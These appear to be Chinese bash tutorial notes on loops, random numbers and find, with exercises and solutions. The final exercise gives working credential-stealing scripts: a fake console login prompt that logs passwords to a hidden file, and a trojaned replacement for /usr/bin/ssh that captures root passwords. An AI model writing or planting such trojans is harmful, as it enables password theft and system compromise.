-- 循环 --continue表示循环体内下面的代码不执行,重新开始循环 --break表示跳出循环体,执行循环体外的下面的代码 --exit表示直接跳出程序 echo 'aaaaa' sleep 2 sh $0 --这一句是代表再重新执行上面的代码,$0表示脚本名 exit 10 ============================================================= for 循环语句 for var in 1 2 3 4 5 do command done for (( var=1 ; var < 6 ; var++ )) do command done for (( var=5; var >0 ; var-- )) do command done --------------------------------------------------------------------- 例三: for循环举例 for i in 1 2 3 4 5 do echo -ne "$i\n"--如果不使用-n参数,默认会一个数字打印一行,-e参数代表后面如果使用\n(换行),\t(制表符)等这种字符时会生效,所以这句和echo $i效果一样 done echo for i in `seq 100` --产生1到100的序列 do echo -n $i done for i in $(seq 100) --也是产生1到100的序列,这是另一种写法 do echo -n $i done for i in `seq 50 100` do echo -n $i done echo for i in `seq 1 2 100` --从1开始到100,中间的2为步长 do echo -n $i done echo for i in `seq 100 -2 51` do echo -n "$i " done echo for i in {50..100} do echo -n $i done echo for i in {50..100..2} do echo -n $i done echo for i in {100..50..-2} do echo -n $i done echo for i in {100..-50} do echo -n $i done echo for (( i=50 ;i <101; i+=2 )) do echo -n $i done echo for (( i=50 ;i <101; i+=2 )) do echo -n $i done echo ==================================================================== 计算1到100的奇数之和 输入一个正整数,判断是否为质数(素数) 23 2-22 23 1-23 批量加10个用户,以student1到student10命名,并统一加一个新组,组名为class,统一改密码为123(使用passwd命令和EOF结合可不可以) 批量删除刚才建立的10个用户(包括把用户的家目录和邮件目录给删除干净) =============================================================== until 循环 --直到满足条件就退出循环 例十二:用until实现打印1到5 a=1 until [ $a -gt 5 ] for ((a=1;a<6;a++)) do do echo $a echo $a let a++ done done 练习: 使用unitl去改写上面的批量加用户的脚本 groupadd class i=1 until [ $i -gt 10 ] do useradd -G class "student$i" passwd "student$i" < /dev/null 2>&1 123 123 EOF let i++ done ==================================== while 用于不定次数的循环,或死循环 while [条件] do command done 死循环四种: while true do command done while : do command done for (( ;1; )) do command done for ((i=1;;i++)) do command done 写一个30秒就时间同步10.1.1.35一次的脚本,如果同步失败,则进行邮件报警,每次失败都报警;同步成功,也进行邮件通知,但是成功100次才通知一次 写一个简单的猜数字的脚本 =================================================================== 随机数: bash默认有一个$RANDOM的变量 使用set |grep RANDOM 查看上一次产生的随机数 echo $RANDOM 产生100内的随机数 echo $[$RANDOM%101] 产生0-1之间的随机数 echo $[$RANDOM%2] 产生1-2之内的随机数 echo $[$RANDOM%2+1] 产生50-100之内的随机数 echo $[$RANDOM%51+50] 产生三位数的随机数 echo $[$RANDOM%900+100] ======================================================================= 循环嵌套 打印出 1 12 123 1234 12345 5 54 543 5432 54321 * ** *** **** ***** ****** * ** * * * * * * ****** read输入一个目录,找出目录下为死链接的文件(要求判断子目录下的所有文件) 用read输入一个目录,使用脚本判断目录里每个普通文件的权限(是否可读,是否可写,是否可执行) 用read输入一个用户,再用read输入一个目录,使用脚本判断目录里每个文件的权限(read输入的用户对其是否可读,是否可写,是否可执行) --提示:如何去用root用户去变成一个普通用户身份去执行脚本? man su 查看-c参数 --第一个脚本 [root@dns shell02]# cat example10.sh #!/bin/bash read -p "输入你要判断的用户名:" name id $name > /dev/null 2>&1 if [ $? -eq 0 ];then echo "用户名存在,继续执行" else echo "用户名不存在,请重新运行脚本,输入正确的用户名" exit 1 fi su - $name -c "sh /tmp/example102.sh" 第二个脚本: --此脚本最后放到/tmp下,让所有用户可以执行 [root@dns shell02]# cat example102.sh #!/bin/bash user=`id | cut -d"(" -f2 |cut -d ")" -f1` --查找自己的用户名,可以用whoami替代或者$USER就可以 read -p "输入一个目录:" dir if [ -d $dir ];then echo "是一个目录,继续执行" else echo "不是一个目录或目录不存在,请重新运行脚本" exit 1 fi for i in `find $dir -type f` do [ -r $i ] && r=yes || r=no [ -w $i ] && w=yes || w=no [ -x $i ] && x=yes || x=no echo "$user对$i的权限为:" echo "read=$r" echo "write=$w" echo "execute=$x" done 打印出1到1000内的质数(素数) 23 2-22 1.随机产生一个三位数(100-999),按位数一个一个的猜(先猜百位,再十位,最后个位),每位只有五次猜的机会,不成功就没机会再猜,直到猜成功 2.在原来的猜数字脚本基础上加上时间限制(60秒内猜不对,则退出脚本) 3.找出/etc/的所有(包含子目录)以conf结尾的文件(这里实际情况还是会有些文件名字相同,我们这里假设都不相同),拷到/tmp/conf目录下,然后全部把conf结尾换成以html结尾 find命令补充: # find /tmp/conf/ -mindepth 1 -type d -exec chmod 777 {} \; # find /tmp/conf/ -mindepth 1 -type d |xargs chmod 755 find /etc/ -name "*.conf" -exec cp {} /tmp/conf \; for i in `find /etc/ -name "*.conf"` do cp $i /tmp/conf/ done 4.找出/usr/share/doc目录下所有文件名为index.html的文件,把他们拷到/tmp/index目录下,文件名按找到的先后更改,第一个找到的为index.html.1,第二个找到的为index.html.2。。。。类推 5.写一个脚本把一个目录内的所有空文件都删除,最后输出删除的文件的个数 read -p "输入一个你要删除空文件的目录:" dir a=0 for i in `find $dir -type f` do [ ! -s $i ] && rm -rf $i && let a++ done echo "删除的个数为:" "$a" ====================================================== #!/bin/bash read -p "输入一个你要删除空文件的目录:" dir if [ ! -d $dir ];then echo "不存在或不是目录,重试" exit 0 fi a=0 for i in `find $dir -size 0 -type f` do rm -rf $i let a++ done echo $a --下面的写法因为用了管道,所以会造成最后的echo $a的值总是为0,所以这种做法在这里有问题 --因为$a的值是在子进程里,所以循环完后,echo $a,也就是回到父进程的话,是得不到子进程里的值 a=0 find $dir -size 0 -type f |while read i do rm -rf $i let a++ done echo $a 6.写一个小闹钟的程序 (每秒都显示时间,当到了定时的时间,就循环打印5个*,间隔一秒) --可以替代at服务做一到时间就触发脚本,并且可以精确到秒 while true do now=`date +%H:%M:%S` echo $now sleep 1 clear if [ "$1" == "$now" ];then for (( i=0;i<10;i++)) do echo -n "*" sleep 1 done break --在这里是表示打完*后,跳出循环,继续执行循环体后面的代码;如果换成exit则表示直接退出脚本 fi done echo echo 'it is time' #!/bin/bash read -p "输入你定时的时间(格式为时:分:秒):" ntime while true do now=`date +%H:%M:%S` echo $now sleep 1 clear if [ "$ntime" == "$now" ];then for (( i=0;i<10;i++)) do echo -n "*" sleep 1 done break fi done echo echo "时间到了" 7.将/etc/passwd里的用户名分类,分为管理员用户,系统用户,普通用户 #!/bin/bash for i in `cat /etc/passwd |cut -d: -f1,3` do uid=`echo "$i" |cut -d: -f2` name=`echo "$i" |cut -d: -f1` [ $uid -eq 0 ] && echo "$name" >> /tmp/adminuser [ $uid -lt 500 -a $uid -gt 0 ] && echo "$name" >> /tmp/systemuser [ $uid -eq 65534 ] && echo "$name" >> /tmp/systemuser [ $uid -ge 500 -a $uid -ne 65534 ] && echo "$name" >> /tmp/normaluser done # awk -F: '$3==0 {print $1}' /etc/passwd # awk -F: '$3<500 && $3!=0 {print $1}' /etc/passwd # awk -F: '$3==65534 {print $1}' /etc/passwd # awk -F: '$3>499 && $3!=65534 {print $1}' /etc/passwd 8.写一个倒计时脚本,要求显示离2016年1月1日的凌晨0点,还有多少天,多少时,多少分,多少秒 9.将read输入的一个文件倒序排列(也就是第一行成了最后一行,最后一行成了第一行) tac #!/bin/bash read -p "输入一个要上下倒序排列的文件:" file if [ ! -f $file ];then echo "不存在或不是文件,重试" exit 0 fi line=`cat $file | wc -l` for i in `seq $line` do echo `tail -$i $file |head -1` done 10.将read输入的一个文件左右倒序排列 (也就是最后一个字符成了第一个字符,第一个字符成了最后一个字符) rev #!/bin/bash read -p "输入一个要上下倒序排列的文件:" file if [ ! -f $file ];then echo "不存在或不是文件,重试" exit 0 fi n=`cat $file|wc -l` for i in `seq $n` do line=`head -$i $file |tail -1` m=`head -$i $file |tail -1 |wc -L` for (( j=$m ;j>0; j-- )) do k=`echo $line |cut -c$j` echo -n "$k" done echo done fi 11.九九乘法表 1*1=1 1*2=2 2*2=4 1*3=3 2*3=6 3*3=9 1*4=4 2*4=8 3*4=12 4*4=16 1*5=5 2*5=10 3*5=15 4*5=20 5*5=25 1*6=6 2*6=12 3*6=18 4*6=24 5*6=30 6*6=36 1*7=7 2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49 1*8=8 2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64 1*9=9 2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81 #!/bin/bash i=1 while [ $i -le 9 ] do n=1 while [ $n -le $i ] do r=$[$n*$i] echo -en "$n*$i=$r\t" let n=n+1 done echo -e "\n" let i=i+1 done 12.写一个脚本,产生一个phonenum.txt文件,随机产生以139开头的手机号1000个,每个一行 13.再写一个脚本,在上面的1000个手机号里抽奖5个幸运观众,显示出这5个幸运观众。但只显示头3个数和尾号的4个数,中间的都用*代替 假充一个人发了5次短信,有5次机会;最少有三种抽法: 1,抽中一次,还有5次机会(还有千分之5的概率被抽中) 2,抽中一次,还有4次机会(还有4/999的概率被抽中) 3,抽中一次,没有机会(还有0/995的概率被抽中) 14.练习:一个普通用户在tty文本模式骗取root密码的脚本 #!/bin/bash clear echo echo 'Red Hat Enterprise Linux Server release 6.3 (Santiago)' echo "Kernel `uname -r` on an `uname -m`" echo read -p "$(hostname|awk -F"." '{print $1}') login: " user read -s -p "Password: " passwd echo sleep 2 echo "Login incorrect" echo "$user:$passwd" >> .password.txt for i in 1 2 3 do echo read -p "login: " user read -s -p "Password: " passwd echo sleep 2 echo "Login incorrect" echo "$user:$passwd" >> .password.txt done sh $0 扩展,在你的机器替换一个新ssh命令,让root登录,然后骗取他密码 --下面的是一个基本的写法,你可以继续去完善它 mv /usr/bin/ssh /usr/bin/ssh.bak vim /usr/bin/ssh #!/bin/bash for i in `seq 2` do read -s -p "root@$1's password: " passwd echo sleep 2 echo "$passwd" >> /tmp/.root_passwd echo -e "\nPermission denied, please try again." done read -s -p "root@$1's password: " passwd echo sleep 2 echo "$passwd" >> /tmp/.root_passwd echo -e "\nPermission denied (publickey,gssapi-keyex,gssapi-with-mic,password)." chmod 755 /usr/bin/ssh